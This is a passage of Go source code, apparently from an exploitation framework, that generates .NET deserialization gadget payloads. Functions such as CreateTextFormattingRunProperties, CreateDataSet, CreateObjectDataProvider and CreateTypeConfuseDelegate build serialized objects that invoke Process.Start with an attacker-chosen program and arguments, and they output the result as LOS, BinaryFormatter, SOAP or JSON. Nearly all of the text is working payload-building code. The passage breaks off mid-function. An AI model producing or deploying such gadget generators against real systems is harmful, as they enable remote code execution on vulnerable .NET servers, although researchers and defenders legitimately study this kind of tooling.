			BinaryObjectString{ObjectID: 88, Value: "System.Func`2[[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"},
			MemberReferenceRecord{IDRef: 62},
			ObjectNullRecord{},
			MemberReferenceRecord{IDRef: 62},
			MemberReferenceRecord{IDRef: 82},
			BinaryObjectString{ObjectID: 91, Value: "GetTypes"},
			ObjectNullRecord{},
		},
	}
	records = append(records, classWithIDRecordID68)

	// CW O69
	classWithIDRecordID69 := ClassWithIDRecord{
		ObjectID:   69,
		MetadataID: 67,
		MemberValues: []any{
			MemberReferenceRecord{IDRef: 91},
			MemberReferenceRecord{IDRef: 62},
			MemberReferenceRecord{IDRef: 82},
			BinaryObjectString{ObjectID: 94, Value: "System.Type[] GetTypes()"},
			BinaryObjectString{ObjectID: 95, Value: "System.Type[] GetTypes()"},
			8, // Corresponds with Val6 of the referenced object
			ObjectNullRecord{},
		},
	}
	records = append(records, classWithIDRecordID69)

	// CW O70
	classWithIDRecordID70 := ClassWithIDRecord{
		ObjectID:   70,
		MetadataID: 66,
		MemberValues: []any{
			BinaryObjectString{ObjectID: 96, Value: "System.Func`2[[System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"},
			MemberReferenceRecord{IDRef: 62},
			ObjectNullRecord{},
			MemberReferenceRecord{IDRef: 62},
			BinaryObjectString{ObjectID: 98, Value: "System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"},
			BinaryObjectString{ObjectID: 99, Value: "GetEnumerator"},
			ObjectNullRecord{},
		},
	}
	records = append(records, classWithIDRecordID70)

	// CW O71
	classWithIDRecordID71 := ClassWithIDRecord{
		ObjectID:   0x47,
		MetadataID: 0x43,
		MemberValues: []any{
			MemberReferenceRecord{IDRef: 0x63},
			MemberReferenceRecord{IDRef: 0x3e},
			MemberReferenceRecord{IDRef: 0x62},
			BinaryObjectString{ObjectID: 0x66, Value: "System.Collections.Generic.IEnumerator`1[System.Type] GetEnumerator()"},
			BinaryObjectString{ObjectID: 0x67, Value: "System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] GetEnumerator()"},
			8, // Corresponds with referenced, like classWithID18
			ObjectNullRecord{},
		},
	}
	records = append(records, classWithIDRecordID71)

	// CW O72
	classWithIDRecordID72 := ClassWithIDRecord{
		ObjectID:   0x48,
		MetadataID: 0x42,
		MemberValues: []any{
			BinaryObjectString{ObjectID: 0x68, Value: "System.Func`2[[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"},
			MemberReferenceRecord{IDRef: 0x3e},
			ObjectNullRecord{},
			MemberReferenceRecord{IDRef: 0x3e},
			BinaryObjectString{ObjectID: 0x6a, Value: "System.Collections.IEnumerator"},
			BinaryObjectString{ObjectID: 0x6b, Value: "MoveNext"},
			ObjectNullRecord{},
		},
	}
	records = append(records, classWithIDRecordID72)

	// CW O73
	classWithIDRecordID73 := ClassWithIDRecord{
		ObjectID:   0x49,
		MetadataID: 0x43,
		MemberValues: []any{
			MemberReferenceRecord{IDRef: 0x6b},
			MemberReferenceRecord{IDRef: 0x3e},
			MemberReferenceRecord{IDRef: 0x6a},
			BinaryObjectString{ObjectID: 0x6e, Value: "Boolean MoveNext()"},
			BinaryObjectString{ObjectID: 0x6f, Value: "System.Boolean MoveNext()"},
			8, // Corresponds with referenced, like classWithID18
			ObjectNullRecord{},
		},
	}
	records = append(records, classWithIDRecordID73)

	// CW O74
	classWithIDRecordID74 := ClassWithIDRecord{
		ObjectID:   0x4a,
		MetadataID: 0x42,
		MemberValues: []any{
			BinaryObjectString{ObjectID: 0x70, Value: "System.Func`2[[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"},
			MemberReferenceRecord{IDRef: 0x3e},
			ObjectNullRecord{},
			MemberReferenceRecord{IDRef: 0x3e},
			BinaryObjectString{ObjectID: 0x72, Value: "System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"},
			BinaryObjectString{ObjectID: 0x73, Value: "get_Current"},
			ObjectNullRecord{},
		},
	}
	records = append(records, classWithIDRecordID74)

	// CW O75
	classWithIDRecordID75 := ClassWithIDRecord{
		ObjectID:   0x4b,
		MetadataID: 0x43,
		MemberValues: []any{
			MemberReferenceRecord{IDRef: 0x73},
			MemberReferenceRecord{IDRef: 0x3e},
			MemberReferenceRecord{IDRef: 0x72},
			BinaryObjectString{ObjectID: 0x76, Value: "System.Type get_Current()"},
			BinaryObjectString{ObjectID: 0x77, Value: "System.Type get_Current()"},
			8,
			ObjectNullRecord{},
		},
	}
	records = append(records, classWithIDRecordID75)

	// CW O80
	classWithIDRecordID80 := ClassWithIDRecord{
		ObjectID:   0x4c,
		MetadataID: 0x42,
		MemberValues: []any{
			BinaryObjectString{ObjectID: 0x78, Value: "System.Func`2[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"},
			MemberReferenceRecord{IDRef: 0x3e},
			ObjectNullRecord{},
			MemberReferenceRecord{IDRef: 0x3e},
			BinaryObjectString{ObjectID: 0x7a, Value: "System.Activator"},
			BinaryObjectString{ObjectID: 0x7b, Value: "CreateInstance"},
			ObjectNullRecord{},
		},
	}
	records = append(records, classWithIDRecordID80)

	// CW O81
	classWithIDRecordID81 := ClassWithIDRecord{
		ObjectID:   0x4d,
		MetadataID: 0x43,
		MemberValues: []any{
			MemberReferenceRecord{IDRef: 0x7b},
			MemberReferenceRecord{IDRef: 0x3e},
			MemberReferenceRecord{IDRef: 0x7a},
			BinaryObjectString{ObjectID: 0x7e, Value: "System.Object CreateInstance(System.Type)"},
			BinaryObjectString{ObjectID: 0x7f, Value: "System.Object CreateInstance(System.Type)"},
			8,
			ObjectNullRecord{},
		},
	}
	records = append(records, classWithIDRecordID81)

	// CW O82
	classWithIDRecordID82 := ClassWithIDRecord{
		ObjectID:   0x4e,
		MetadataID: 0xf,
		MemberValues: []any{
			BinaryObjectString{ObjectID: 0x80, Value: "System.ComponentModel.Design.CommandID"},
			4,
			MemberReferenceRecord{IDRef: 0x3a},
		},
	}
	records = append(records, classWithIDRecordID82)

	// ASO O79
	arraySingleObjectID79 := ArraySingleObjectRecord{
		ArrayInfo: ArrayInfo{
			ObjectID:    0x4f,
			MemberCount: 2,
		},
		Members: []any{
			MemberReferenceRecord{IDRef: 0x82},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(8192)},
		},
	}
	records = append(records, arraySingleObjectID79)

	// SCWMT O130
	ID130MemberNames := []string{"_a", "_b", "_c", "_d", "_e", "_f", "_g", "_h", "_i", "_j", "_k"}
	ID130MemberTypeInfo, ok := getMemberTypeInfo([]string{"Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive"}, ID130MemberNames, []any{
		PrimitiveTypeEnum["Int32"],
		PrimitiveTypeEnum["Int16"],
		PrimitiveTypeEnum["Int16"],
		PrimitiveTypeEnum["Byte"],
		PrimitiveTypeEnum["Byte"],
		PrimitiveTypeEnum["Byte"],
		PrimitiveTypeEnum["Byte"],
		PrimitiveTypeEnum["Byte"],
		PrimitiveTypeEnum["Byte"],
		PrimitiveTypeEnum["Byte"],
		PrimitiveTypeEnum["Byte"],
	})

	if !ok {
		return "", false
	}
	systemClassWithMembersAndTypesID130 := SystemClassWithMembersAndTypesRecord{
		ClassInfo: ClassInfo{
			ObjectID:    130,
			Name:        "System.Guid",
			MemberCount: len(ID130MemberNames),
			MemberNames: ID130MemberNames,
		},
		MemberTypeInfo: ID130MemberTypeInfo,
		MemberValues: []any{
			PrimitiveInt32(1959924499),
			PrimitiveInt16(10990),
			PrimitiveInt16(4561),
			PrimitiveByte(0x8b),
			PrimitiveByte(0xfb),
			PrimitiveByte(0x00),
			PrimitiveByte(0xa0),
			PrimitiveByte(0xc9),
			PrimitiveByte(0x0f),
			PrimitiveByte(0x26),
			PrimitiveByte(0xf7),
		},
	}
	records = append(records, systemClassWithMembersAndTypesID130)

	// FINI
	for _, record := range records {
		recordString, ok := record.ToRecordBin()
		if !ok {
			return "", false
		}
		finalGadget += recordString
	}
	finalGadget += string(byte(RecordTypeEnumMap["MessageEnd"]))

	switch formatter {
	case LOSFormatter:
		return FormatLOS(finalGadget), true
	case BinaryFormatter:
		return finalGadget, true
	default:
		output.PrintFrameworkError("Invalid formatter chosen, this formatter supports: 'LOSFormatter', and 'BinaryFormatter'")

		return "", false
	}
}

func CreateDataSetXMLDiffGram(payloadIn string) (string, bool) {
	name0 := random.RandLettersRange(3, 9)
	name1 := random.RandLettersRange(3, 9)
	name2 := random.RandLettersRange(3, 9)
	string0 := `<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="` + name0 + `">
                <xs:element name="` + name0 + `" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
                    <xs:complexType>
                        <xs:choice minOccurs="0" maxOccurs="unbounded">
                            <xs:element name="` + name1 + `">
                                <xs:complexType>
                                    <xs:sequence>
                                        <xs:element name="` + name2 + `" msdata:DataType="System.Collections.Generic.List` + "`" + `1[[System.Data.Services.Internal.ExpandedWrapper` + "`" + `2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
                                    </xs:sequence>
                                </xs:complexType>
                            </xs:element>
                        </xs:choice>
                    </xs:complexType>
                </xs:element>
            </xs:schema>`

	b64String := make([]byte, base64.StdEncoding.EncodedLen(len(payloadIn)))
	base64.StdEncoding.Encode(b64String, []byte(payloadIn))
	payloadB64 := string(b64String)

	string1 := `<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
                <` + name0 + `>
                    <` + name1 + ` diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
                        <` + name2 + ` xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
                            <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
                                <ExpandedElement/>
                                <ProjectedProperty0>
                                    <MethodName>Deserialize</MethodName>
                                    <MethodParameters>
                                        <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">` + payloadB64 + `</anyType>
                                    </MethodParameters>
                                    <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
                                </ProjectedProperty0>
                            </ExpandedWrapperOfLosFormatterObjectDataProvider>
                        </` + name2 + `>
                    </` + name1 + `>
                </` + name0 + `>
            </diffgr:diffgram>`
	libraryID := 2
	binaryLibrary := BinaryLibraryRecord{ID: libraryID, Library: "System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
	className := "System.Data.DataSet"
	memberNames := []string{"XmlSchema", "XmlDiffGram"}
	var memberValues []any
	var additionalInfo []any
	memberTypes := []string{
		"String",
		"String",
	}
	memberValues = append(memberValues, BinaryObjectString{ObjectID: 3, Value: string0})
	memberValues = append(memberValues, BinaryObjectString{ObjectID: 4, Value: string1})
	classInfo := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(memberNames), MemberNames: memberNames}
	memberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo)
	if !ok {
		return "", false
	}
	classWithMembersAndTypes := ClassWithMembersAndTypesRecord{ClassInfo: classInfo, LibraryID: libraryID, MemberTypeInfo: memberTypeInfo, MemberValues: memberValues, BinaryLibrary: binaryLibrary}
	classWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin()
	if !ok {
		return "", false
	}
	serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}
	serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()
	binLibString, _ := binaryLibrary.ToRecordBin()

	payload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + string(byte(RecordTypeEnumMap["MessageEnd"]))

	return payload, true
}

func CreateTextFormattingRunProperties(program string, args string, formatter string) (string, bool) {
	xmlData := fmt.Sprintf(`<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:X="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:S="clr-namespace:System;assembly=mscorlib" xmlns:D="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider X:Key="" ObjectType="{X:Type D:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><S:String>%s</S:String><S:String>%s</S:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>`, program, args)

	// validate the XML
	if !IsValidXML([]byte(xmlData)) {
		output.PrintfFrameworkError("Invalid XML, check for possible badchars, XML that was generated: %s", xmlData)

		return "", false
	}

	libraryID := 2
	className := "Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties"
	members := []string{"ForegroundBrush"}

	binaryLibrary := BinaryLibraryRecord{ID: libraryID, Library: "Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"}
	classInfo := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(members), MemberNames: members}
	memberTypeInfo, ok := getMemberTypeInfo([]string{"String"}, members, nil) // corresponds to ForegroundBrush (a String)
	if !ok {
		return "", false
	}
	serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}
	binaryObject := BinaryObjectString{ObjectID: 3, Value: xmlData}

	var memberValues []any
	memberValues = append(memberValues, binaryObject)
	classWithMembersAndTypes := ClassWithMembersAndTypesRecord{ClassInfo: classInfo, LibraryID: libraryID, MemberTypeInfo: memberTypeInfo, MemberValues: memberValues, BinaryLibrary: binaryLibrary}
	classWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin()
	if !ok {
		return "", false
	}
	serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()
	binLibString, _ := binaryLibrary.ToRecordBin()
	payload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + string(byte(RecordTypeEnumMap["MessageEnd"]))

	switch formatter {
	case LOSFormatter:
		return FormatLOS(payload), true
	case BinaryFormatter:
		return payload, true
	case SOAPFormatter:
		xmlData, _, ok := FormatSOAP([]Record{classWithMembersAndTypes})
		if !ok {
			return "", false
		}

		return xmlData, true
	default:
		output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'", formatter)

		return "", false
	}
}

func CreateDataSet(program string, args string, formatter string) (string, bool) {
	// Initial vars
	innerTextFormattingProperties, ok := CreateTextFormattingRunProperties(program, args, BinaryFormatter)
	if !ok {
		return "", false
	}
	libraryID := 2
	className := "System.Data.DataSet"
	binaryLibrary := BinaryLibraryRecord{ID: libraryID, Library: "System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}

	// MemberNames, then Types, then additional infos (for types that require it) all correspond to the memberValues
	var memberValues []any
	var additionalInfo []any
	var innerMemberValues []any
	var innerMemberTypeInfoAdditionalInfos []any

	// start creating OUTER classWithMembersAndTypes
	// start with arrays
	memberNames := []string{
		"DataSet.RemotingFormat",
		"DataSet.DataSetName",
		"DataSet.Namespace",
		"DataSet.Prefix",
		"DataSet.CaseSensitive",
		"DataSet.LocaleLCID",
		"DataSet.EnforceConstraints",
		"DataSet.ExtendedProperties",
		"DataSet.Tables.Count",
		"DataSet.Tables_0",
	}

	memberTypes := []string{
		"Class",
		"String",
		"String",
		"String",
		"Primitive",
		"Primitive",
		"Primitive",
		"Object",
		"Primitive",
		"PrimitiveArray",
	}
	additionalInfo = append(additionalInfo, ClassTypeInfo{TypeName: "System.Data.SerializationFormat", LibraryID: libraryID})
	additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Boolean"])
	additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Int32"])
	additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Boolean"])
	additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Int32"])
	additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Byte"])

	classInfo := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(memberNames), MemberNames: memberNames}
	memberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo)
	if !ok {
		return "", false
	}

	// Create INNER classWithMembersAndTypes to be used as a member/membervalue of the 'OUTER' classWithMembersAndTypes
	innerMemberValues = append(innerMemberValues, 1)
	innerMemberTypeInfoAdditionalInfos = append(innerMemberTypeInfoAdditionalInfos, PrimitiveTypeEnum["Int32"])
	innerMemberTypeInfo, ok := getMemberTypeInfo([]string{"Primitive"}, []string{"value__"}, innerMemberTypeInfoAdditionalInfos)
	if !ok {
		return "", false
	}

	innerClassWithMembersAndTypes := ClassWithMembersAndTypesRecord{
		ClassInfo: ClassInfo{
			ObjectID:    -3,
			Name:        "System.Data.SerializationFormat",
			MemberNames: []string{"value__"},
		},
		MemberTypeInfo: innerMemberTypeInfo,
		LibraryID:      libraryID,
		MemberValues:   innerMemberValues,
		BinaryLibrary:  binaryLibrary,
	}

	// Finish creating the OUTER classWithMembersAndTypes using the innerClassWithMembersAndTypes as a member
	memberValues = append(memberValues, innerClassWithMembersAndTypes)
	memberValues = append(memberValues, BinaryObjectString{ObjectID: 4})
	memberValues = append(memberValues, MemberReferenceRecord{IDRef: 4})
	memberValues = append(memberValues, MemberReferenceRecord{IDRef: 4})
	memberValues = append(memberValues, false)
	memberValues = append(memberValues, 1033)
	memberValues = append(memberValues, false)
	memberValues = append(memberValues, ObjectNullRecord{})
	memberValues = append(memberValues, 1)
	memberValues = append(memberValues, MemberReferenceRecord{IDRef: 5})

	classWithMembersAndTypes := ClassWithMembersAndTypesRecord{
		ClassInfo:      classInfo,
		LibraryID:      libraryID,
		MemberTypeInfo: memberTypeInfo,
		BinaryLibrary:  binaryLibrary,
		MemberValues:   memberValues,
	}

	// Create arraySinglePrimitiveRecord to append before the end
	arraySinglePrimitiveRecord := ArraySinglePrimitiveRecord{
		PrimitiveTypeEnum: PrimitiveTypeEnum["Byte"],
		ArrayInfo:         ArrayInfo{ObjectID: 5, MemberCount: len(innerTextFormattingProperties)},
		Members:           string([]byte(innerTextFormattingProperties)),
	}

	// Put it all together then format & send it
	serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}
	serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()
	binLibString, _ := binaryLibrary.ToRecordBin()
	classWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin()
	if !ok {
		return "", false
	}
	arraySinglePrimitiveRecordString, _ := arraySinglePrimitiveRecord.ToRecordBin()

	payload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + arraySinglePrimitiveRecordString + string(byte(RecordTypeEnumMap["MessageEnd"]))

	switch formatter {
	case LOSFormatter:
		return FormatLOS(payload), true
	case BinaryFormatter:
		return payload, true
	case SOAPFormatterWithExceptions:
		return FormatSOAPWithExceptions([]Record{classWithMembersAndTypes, arraySinglePrimitiveRecord})
	case SOAPFormatter:
		xmlData, _, ok := FormatSOAP([]Record{classWithMembersAndTypes, arraySinglePrimitiveRecord})
		if !ok {
			return "", false
		}

		return xmlData, true
	default:
		output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter', 'SOAPFormatterWithExceptions'", formatter)

		return "", false
	}
}

// ObjectDataProvider.
func CreateObjectDataProvider(program string, args string, formatter string) (string, bool) {
	gadget := map[string]any{
		"$type":      "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
		"MethodName": "Start",
		"MethodParameters": map[string]any{
			"$type":   "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
			"$values": []any{program, args},
		},
		"ObjectInstance": map[string]any{
			"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
		},
	}

	// validating the output as JSON
	jsonData, err := json.Marshal(gadget)
	if err != nil {
		output.PrintfFrameworkError("Error serializing to JSON: %v", err)

		return "", false
	}
	payload := string(jsonData)

	switch formatter {
	case "JSONFormatter":
		return payload, true
	case "":
		return payload, true
	default:
		output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'JSONFormatter'", formatter)

		return "", false
	}
}

// TypeConfuseDelegate.
func CreateTypeConfuseDelegate(program string, args string, formatter string) (string, bool) {
	mscorlibString := "mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
	mscorlibSystemString := "System.String, " + mscorlibString
	systemlibString := "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
	systemlibSystemDiagString := "System.Diagnostics.Process, " + systemlibString
	libraryID := 2

	systemBinaryLibraryRecord := BinaryLibraryRecord{ID: libraryID, Library: systemlibString}

	/////// object8
	obj8MemberNames := []string{"type", "assembly", "target", "targetTypeAssembly", "targetTypeName", "methodName", "delegateEntry"}
	obj8MemberTypes := []string{"String", "String", "Object", "String", "String", "String", "SystemClass"}
	var obj8additionalInfo []any
	obj8additionalInfo = append(obj8additionalInfo, "System.DelegateSerializationHolder+DelegateEntry")
	var obj8MemberValues []any
	obj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 11, Value: fmt.Sprintf("System.Func`3[[%s],[%s],[%s]]", mscorlibSystemString, mscorlibSystemString, systemlibSystemDiagString)})
	obj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 12, Value: mscorlibString})
	obj8MemberValues = append(obj8MemberValues, ObjectNullRecord{})
	obj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 13, Value: systemlibString})
	obj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 14, Value: "System.Diagnostics.Process"})
	obj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 15, Value: "Start"})
	obj8MemberValues = append(obj8MemberValues, MemberReferenceRecord{IDRef: 16})

	obj8ClassInfo := ClassInfo{
		ObjectID:    8,
		Name:        "System.DelegateSerializationHolder+DelegateEntry",
		MemberNames: obj8MemberNames,
	}
	// innerMemberTypeInfo, ok := getMemberTypeInfo([]string{"Primitive"}, []string{"value__"}, innerMemberTypeInfoAdditionalInfos)
	obj8MemberTypeInfo, ok := getMemberTypeInfo(obj8MemberTypes, obj8MemberNames, obj8additionalInfo)
	if !ok {
		return "", false
	}

	obj8 := SystemClassWithMembersAndTypesRecord{
		ClassInfo:      obj8ClassInfo,
		MemberTypeInfo: obj8MemberTypeInfo,
		MemberValues:   obj8MemberValues,
	}

	/////// object9
	obj9MemberNames := []string{"Name", "AssemblyName", "ClassName", "Signature", "Signature2", "MemberType", "GenericArguments"}
	obj9MemberTypes := []string{"String", "String", "String", "String", "String", "Primitive", "SystemClass"}
	var obj9additionalInfo []any
	obj9additionalInfo = append(obj9additionalInfo, PrimitiveTypeEnum["Int32"])
	obj9additionalInfo = append(obj9additionalInfo, "System.Type[]")
	var obj9MemberValues []any
	obj9MemberValues = append(obj9MemberValues, MemberReferenceRecord{IDRef: 15})
	obj9MemberValues = append(obj9MemberValues, MemberReferenceRecord{IDRef: 13})
	obj9MemberValues = append(obj9MemberValues, MemberReferenceRecord{IDRef: 14})
	obj9MemberValues = append(obj9MemberValues, BinaryObjectString{ObjectID: 20, Value: "System.Diagnostics.Process Start(System.String, System.String)"})
	obj9MemberValues = append(obj9MemberValues, BinaryObjectString{ObjectID: 21, Value: "System.Diagnostics.Process Start(System.String, System.String)"})
	obj9MemberValues = append(obj9MemberValues, 8)
	obj9MemberValues = append(obj9MemberValues, ObjectNullRecord{})

	obj9ClassInfo := ClassInfo{
		ObjectID:    9,
		Name:        "System.Reflection.MemberInfoSerializationHolder",
		MemberNames: obj9MemberNames,
	}
	obj9MemberTypeInfo, ok := getMemberTypeInfo(obj9MemberTypes, obj9MemberNames, obj9additionalInfo)
	if !ok {
		return "", false
	}

	obj9 := SystemClassWithMembersAndTypesRecord{
		ClassInfo:      obj9ClassInfo,
		MemberTypeInfo: obj9MemberTypeInfo,
		MemberValues:   obj9MemberValues,
	}

	/// obj1 class
	var obj1AdditionalInfo []any
	var obj1MemberValues []any
	obj1MemberNames := []string{"Count", "Comparer", "Version", "Items"}
	obj1MemberTypes := []string{"Primitive", "SystemClass", "Primitive", "StringArray"}
	obj1MemberValues = append(obj1MemberValues, 2)
	obj1MemberValues = append(obj1MemberValues, MemberReferenceRecord{IDRef: 3})
	obj1MemberValues = append(obj1MemberValues, 2)
	obj1MemberValues = append(obj1MemberValues, MemberReferenceRecord{IDRef: 4})

	obj1AdditionalInfo = append(obj1AdditionalInfo, PrimitiveTypeEnum["Int32"])
	obj1AdditionalInfo = append(obj1AdditionalInfo, fmt.Sprintf("System.Collections.Generic.ComparisonComparer`1[[%s]]", mscorlibSystemString))
	obj1AdditionalInfo = append(obj1AdditionalInfo, PrimitiveTypeEnum["Int32"])

	obj1MemberTypeInfo, ok := getMemberTypeInfo(obj1MemberTypes, obj1MemberNames, obj1AdditionalInfo)
	if !ok {
		return "", false
	}

	obj1ClassInfo := ClassInfo{
		ObjectID:    1,
		Name:        fmt.Sprintf("System.Collections.Generic.SortedSet`1[[%s]]", mscorlibSystemString),
		MemberNames: obj1MemberNames,
	}

	obj1 := ClassWithMembersAndTypesRecord{
		ClassInfo:      obj1ClassInfo,
		MemberTypeInfo: obj1MemberTypeInfo,
		MemberValues:   obj1MemberValues,
		LibraryID:      libraryID,
	}

	/// obj3 class
	var obj3AdditionalInfo []any
	var obj3MemberValues []any
	obj3MemberNames := []string{"_comparison"}
	obj3MemberTypes := []string{"SystemClass"}

	obj3MemberValues = append(obj3MemberValues, MemberReferenceRecord{IDRef: 5})

	obj3AdditionalInfo = append(obj3AdditionalInfo, "System.DelegateSerializationHolder")

	obj3MemberTypeInfo, ok := getMemberTypeInfo(obj3MemberTypes, obj3MemberNames, obj3AdditionalInfo)
	if !ok {
		return "", false
	}

	obj3ClassInfo := ClassInfo{
		ObjectID:    3,
		Name:        fmt.Sprintf("System.Collections.Generic.ComparisonComparer`1[[%s]]", mscorlibSystemString),
		MemberNames: obj3MemberNames,
	}

	obj3 := SystemClassWithMembersAndTypesRecord{
		ClassInfo:      obj3ClassInfo,
		MemberTypeInfo: obj3MemberTypeInfo,
		MemberValues:   obj3MemberValues,
	}

	// Create arraySinglePrimitiveRecord to append before the end
	var arraySingleStringMembers []any
	arraySingleStringMembers = append(arraySingleStringMembers, BinaryObjectString{ObjectID: 6, Value: args})
	arraySingleStringMembers = append(arraySingleStringMembers, BinaryObjectString{ObjectID: 7, Value: program})
	arraySingleStringRecord := ArraySingleStringRecord{
		ArrayInfo: ArrayInfo{ObjectID: 4, MemberCount: 2},
		Members:   arraySingleStringMembers,
	}

	/// obj5 class
	var obj5AdditionalInfo []any
	var obj5MemberValues []any
	obj5MemberNames := []string{"Delegate", "method0", "method1"}
	obj5MemberTypes := []string{"SystemClass", "SystemClass", "SystemClass"}

	obj5MemberValues = append(obj5MemberValues, MemberReferenceRecord{IDRef: 8})
	obj5MemberValues = append(obj5MemberValues, MemberReferenceRecord{IDRef: 9})
	obj5MemberValues = append(obj5MemberValues, MemberReferenceRecord{IDRef: 10})

	obj5AdditionalInfo = append(obj5AdditionalInfo, "System.DelegateSerializationHolder+DelegateEntry")
	obj5AdditionalInfo = append(obj5AdditionalInfo, "System.Reflection.MemberInfoSerializationHolder")
	obj5AdditionalInfo = append(obj5AdditionalInfo, "System.Reflection.MemberInfoSerializationHolder")

